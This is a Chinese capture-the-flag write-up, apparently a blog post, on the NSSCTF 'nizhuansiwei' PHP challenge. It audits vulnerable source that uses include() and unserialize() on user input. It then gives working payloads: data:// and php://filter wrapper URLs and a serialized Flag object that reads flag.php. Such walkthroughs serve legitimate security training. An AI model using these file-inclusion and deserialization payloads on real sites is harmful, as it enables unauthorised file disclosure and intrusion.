NSSCTF WEB nizhuansiwei

进入题目页面,先看一眼标签,发现本题的标签是反序列化,php伪协议。这些标签是做过题的人共同选出来的,所以具有一定参考价值

进入到题目地址,发现是一段php源码,源码都给了,那当然是先来一手代码审计。

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


复制代码
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
复制代码
file_get_contents:将整个文件读入到一个字符串中。使用该函数可以读取本地的文件、远程文件和 HTTP 请求的响应等内容。
语法:file_get_contents(path,include_path,context,start,max_length)
参数描述
path 必需。规定要读取的文件。
include_path 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。
context 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 null,则忽略。
start 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。
max_length 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。
 

 

 

 

 

 

 

preg_match:将给到的函数与所给的内容进行匹配,匹配成功返回1,未匹配则返回0

本题就是通过对flag进行匹配,来对GET的内容进行过滤

unserialize:将所给的值进行反序列化

根据上面获得的信息,我们可以知道,需要给text传递的值为"welcome to the zjctf",我们先传一下试试,看会有什么回显。这里我们用data来传输数据。

playload:/?text=data://text/plain,welcome to the zictf

 

 

 

 

 

 

 

 

 

 

发现存在回显,说明我们方向正确,继续输入flie的参数useless.php来读取useless.php的内容直接传输file=useless.php发现页面变化,说明直接传值无法读取该文件内容,那我们使用php://filter来进行读取并对读取文件名进行base64编码。

playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

 发现下面出现了一串编码,放进bp的编码工具,进行解码获得下面代码

复制代码
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
复制代码

到这基本就没什么了,就是对这段代码进行序列化。序列化代码如下:

<?php

class Flag{  //flag.php
    public $file;  }
$a = new Flag();
$a->file = 'flag.php';
$b=urlencode(serialize($a));
echo $b;

执行代码之后将内容传给password就行了,要注意的是,这段代码是在useless.php界面下的,所以最终的playload也应该在这个界面,所以flie的值就直接传useless.php

最终playload:/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D

然后就获得本题的flag了

 

 

posted @   karasbai  阅读(4)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示